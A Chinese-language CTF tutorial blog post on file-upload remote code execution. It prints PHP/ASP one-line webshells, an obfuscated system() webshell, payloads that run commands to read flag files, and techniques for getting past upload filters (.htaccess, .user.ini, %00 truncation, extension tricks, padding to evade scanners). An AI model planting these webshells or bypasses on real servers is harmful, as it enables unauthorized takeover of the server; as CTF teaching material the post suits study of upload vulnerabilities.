CTF中的RCE

The Redefine Team Lv2

# 文件上传

顾名思义,就是往网站的服务器里去上传自己的东西,如果传入木马,即可控制服务器取得 shell 权限为所欲为。

一句话木马:

1
2
3
4
5
GIF89a<?php eval($_POST['a']);?>


a可以是任何东西,这里的内容就是用蚁剑连接的密码

这里的 GIF89a 是 GIF 文件的签名 GIF 文件的标准头标记为 GIF89a ,表示这是一个 GIF 图片文件。部分文件上传机制会验证文件是否为图片文件,仅检查文件头。如果仅检查文件是否包含 GIF89a 就允许上传,该文件会被识别为 GIF 文件,从而绕过图片文件的上传限制。

后面则是一句话木马,

除这样最简单的一句话木马,还有很多变种

1
2
3
4
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <% %>

以及更多种类一句话木马大全_不删 index.php 内容添加一句话马 - CSDN 博客

下面开始看各种各样的题型

# 前端校验

前端验证直接传 jpg 或是 png 后缀的即可,内容就是一句话木马,抓包后再改回 php,或是直接 rce 或者连接也 ok

还有方法就是 f12,在这里的设置里禁用 JavaScript,ban 了后直接传 php 就 ok

# 后端校验

这里才真正算是文件上传题目

# MIME 验证

前置知识 $_FILES

超全局变量 $_FILES 是一个二维数组,用来保存客户端上传到服务器的文件信息。二维数组的行是文件域的名称,列有 5 个。

1
2
3
4
5
1、$_FILES[]['name'] 	#上传的文件名
2、$_FILES[]['type'] #上传的文件类型,这个类型是MIME类型(image/jpeg image/gif image/png)
3、$_FILES[]['size'] #文件的大小,以字节为单位
4、$_FILES[]['tmp_name'] #文件上传时候的临时文件
5、$_FILES[]['error'] #错误编码(值有0、1、2、3、4、6、7)0表示正确1

eg:

image-20241101210329393

检查 mime 的直接用 burp 抓包修改 conten-type 即可。

# php3、phtml 绕过黑名单

如果题目禁止上传.asp|.aspx|.php|.jsp 后缀文件

可以使用 php2 php3 php5 php7 phtml 等绕过

1
2
3
PHP5文件实际上就是.PHP文件,只不过代码由PHP5引擎解析。

PHP5是一种PHP版本间的区分,该后缀名并不常见,另外还有.PHP2、.PHP3和.PHP4文件。而当前最新的PHP版本为PHP7。

# .htaccess 绕过黑名单

禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf 后缀文件!

前置知识 .htaccess
分布式配置文件

.htaccess 文件 (或者 "分布式配置文件"), 全称是 Hypertext Access (超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。

概述来说,htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许 / 阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

Unix、Linux 系统或者是任何版本的 Apache Web 服务器都是支持.htaccess 的,但是有的主机服务商可能不允许你自定义自己的.htaccess 文件。

启用.htaccess,需要修改 httpd.conf,启用 AllowOverride,并可以用 AllowOverride 限制特定命令的使用。如果需要使用.htaccess 以外的其他文件名,可以用 AccessFileName 指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

笼统地说,.htaccess 可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定 IP 地址的用户、只允许特定 IP 地址的用户、禁止目录列表,以及使用其他文件作为 index 文件等一些功能。

漏洞原理

利用上传到服务器上的.htaccess 文件修改当前目录下的解析规则

形成条件

1.php5.6 以下不带 nts 的版本
2. 服务器没有禁止.htaccess 文件的上传,且服务商允许用户使用自定义.htaccess 文件

.htaccess 参数

常见配法有以下几种:

AddHandler php5-script .jpg

AddType application/x-httpd-php .jpg

SetHandler application/x-httpd-php

Sethandler 将该目录及子目录的所有文件均映射为 php 文件类型。
Addhandler 使用 php5-script 处理器来解析所匹配到的文件。
AddType 将特定扩展名文件映射为 php 文件类型。

.htaccess 文件内容如下

1
2
3
<FilesMatch "123.jpg">   
SetHandler application/x-httpd-php
</FilesMatch>

上传时先传.htaccess 文件,再上传 123.jpg

# .user.ini 黑名单

前置知识 .user.ini
.user.ini
.user.ini 是 php 的一种配置文件,众所周知 php.ini 是 php 的配置文件,它可以做到显示报错,导入扩展,文件解析,web 站点路径等等设置

自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。 官方解释: 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER [‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 这些模式决定着一个 PHP 的指令在何时何地,是否能够被设定。手册中的每个指令都有其所属的模式。例如有些指令可以在 PHP 脚本中用 ini_set () 来设定,而有些则只能在 php.ini 或 httpd.conf 中。

使用条件:
(1) 服务器脚本语言为 PHP
(2) 对应目录下面有可执行的 php 文件
(3) 服务器使用 CGI/FastCGI 模式

优势跟.htaccess 后门比,适用范围更广,nginx/apache/IIS 都有效,而.htaccess 只适用于 apache

auto_prepend_file/auto_append_file(这两个设置的区别只是在于 auto_prepend_file 是在文件前插入,auto_append_file 在文件最后插入。)
这两个配置可以在 php 文件执行之前先包含制定的文件,所以我们可以上传一个图片马,这样就可以通过.user.ini 使得这个图片马被包含,从而获取 webshell

.user.ini

1
auto_prepend_file=a.jpg

.user.ini 文件里的意思是:所有的 php 文件都自动包含 a.jpg 文件。.user.ini 相当于一个用户自定义的 php.ini
这里有一个讲的非常清楚的文件上传 -.user.ini 的妙用 - CSDN 博客

# 思路二

用 5.php. . 绕过

代码运行最后得到的后缀为 "." 不在黑名单中 然而又用原来的 5.php. . 来拼接路径 由于 windows 在

文件命名中会删除。和空格 所以最终得到的是 5.php 因此绕过了黑名单限制

1
2
$file_name = trim($_FILES['upload_file']['name']);
$img_path = UPLOAD_PATH.'/'.$file_name;

# 大小写绕过黑名单

禁止上传.htaccess .user.ini 时去试一下

这个比较好理解

大小写绕过失效 改为短标签

1
2
3
4
5
6
7
8
9
10
<?php echo 1; ?> 正常写法

<? echo 1; ?> 短标签写法,5.4 起 <?= 'hello'; === <? echo 'hello';

<?= phpinfo();?>

<% echo 1; %> asp 风格写法

<script language="php"> echo 1; </script> 长标签写法

image-20241101233205337

# 空格绕过黑名单

利用 PHP 和 Windows 环境的叠加特性 windows 系统自动删除文件名后缀的空格 绕过黑名单

上传 1.php 即可(后面加一个空格)

# 点绕过黑名单

缺少了 deldot 函数 * 删除文件名最后一个点 (如果有多个连续的… 会全部删除)*

利用 Windows 系统保存文件的特性 会删除文件后缀名的 xxx.php. 最后上传的文件还是 xxx.php

# ::$DATA 绕过黑名单

php 在 window 的时候如果文件名 +"::DATA"会把::DATA"会把::DATA 之后的数据当成文件流处理,不会检测后缀名,且保持 "::$DATA" 之前的文件名

# 点空格点绕过黑名单

用 10.php. . 绕过

代码运行最后得到的后缀为 "." 不在黑名单中 然而又用原来的 10.php. . 来保存文件 由于 windows 在

文件命名中会自动删除。和空格 所以最终得到的是 10.php 因此绕过了黑名单限制

# 双写 php 绕过黑名单

用上传的文件名来拼接路径并保存文件 没有对文件重命名

只是用了 str_ireplace () 函数来检测(此函数无视大小写) 如果文件名含有黑名单里面的字符串 就替换为空

但是只替换一次 并没有进行正则匹配或者是循环匹配敏感字符 因此只要双写 php 即可 因为是从左往右读的 所以替换为空后 还是 php

pphphp、phphpp 都可以尝试

# %00 截断白名单

url 中的 %00(只要是这种 % xx)的形式,webserver 会把它当作十六进制处理,

然后把 16 进制的 hex 自动翻译成 ascii 码值 “NULL”, 实现了截断 burpsuite 中 16 进制编辑器将空格 20 改成了 00。

本质上来说,都是利用 0x00 是字符串的结束标识符,进行截断处理。

只不过 GET 传参需要 url 编码成 %00 而已

原理:php 的一些函数的底层是 C 语言,而 move_uploaded_file 就是其中之一,遇到 0x00 会截断,0x 表示 16 进制,URL 中 %00 解码成 16 进制就是 0x00。

%00 截断

%00 的使用是在路径上!

%00 的使用是在路径上!

%00 的使用是在路径上!

重要的话说三遍。如果在文件名上使用,就无法正常截断了。如:aaa.php%00bbb.jpg

需要满足的条件

00 截断的限制条件是 PHP<5.3.29,且 GPC 关闭

因为当 magic_quotes_gpc 打开时,所有的 ’ (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。

magic_quotes_gpc 着重偏向数据库方面,是为了防止 sql 注入,但 magic_quotes_gpc 开启还会对 $_REQUEST, GET,_GET,_POST,$_COOKIE 输入的内容进行过滤

像这样输入

image-20241101230023841

之后去访问

image-20241101230048421

# 文件包含 + 图片马

image-20241101232125152

用 010 或者 Notepad++ 又或是 vscode 打开后在后面加上一句话木马上传

有时候加在最后不太行,会检查传上去的最后的内容是不是恶意代码,那要是这样,是不是就毁了,其实可以把传上去的文件等网站操作后再搞出来,对比一下,肯定会有一部分区域不动,在那里插入一句话木马即可。

# 条件竞争

不断发包,由于是先上传进去,验证不对后再删除,并发的发包就会有那样的时刻能访问到

# 补充:

如果 [] 被 ban 了可以用 {}

大括号也被 ban 了 所以不使用一句话木马 而是直接 rce 注意嗷!分号也被 ban 了 直接删除即可

1
2
<? exec('cat ../f* > myflag.txt')?>

解释一下命令语句:

  • system : 输出并返回最后一行的 shell 结果
  • exec :不输出结果 返回最后一行 shell 的结果 所有结果可以保存到一个返回的数组里面
  • passthru :只调用命令,把命令的运行结果原样直接输出到标准输出设备上

小括号被过滤了,绕过的方法就是 ` 反引号去代替绕过

两种写马的方法:

image-20241101233425888

1
2
<? `cat ../f* > myflag.txt` ?>

1
2
<? echo `tac ../f*` ?>

再往后就需要免杀了,之后补充

1
2
3
GIF89A

<?=($a="s#y#s#t#e#m")&&($b=explode("#",$a))&&($c=$b[0].$b[1].$b[2].$b[3].$b[4].$b[5])&&$c($_REQUEST[1]);?>

之前 buildctf 用的,感觉很好,把 system 拆开再拼接上去来绕过完了 rce

文件上传时在木马代码前添加大量字符是一种绕过服务器检测的偏移量攻击(offset attack)* 或 * 垃圾填充攻击(padding attack)。它的目的是掩盖木马代码,使服务器在扫描时无法识别到其中的恶意内容。具体原理和方式如下:

# 1. 偏移量攻击(Offset Attack)

在文件内容前插入大量无意义的字符(如空白字符、注释或无害代码),将木马代码推到文件的更深层位置,超过服务器扫描或文件头检测的字符数限制。这种方式利用了一些服务器对文件内容的检测只检查前几百字节(即文件头)的机制。超过这个字符数的内容不会被检测,因此,木马代码可能不会被发现。

buildctf ezwaf 使用

  • 标题: CTF中的RCE
  • 作者: The Redefine Team
  • 创建于 : 2024-10-31 20:21:15
  • 更新于 : 2025-03-14 00:17:00
  • 链接: https://redefine.ohevan.com/2024/10/31/文件上传/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论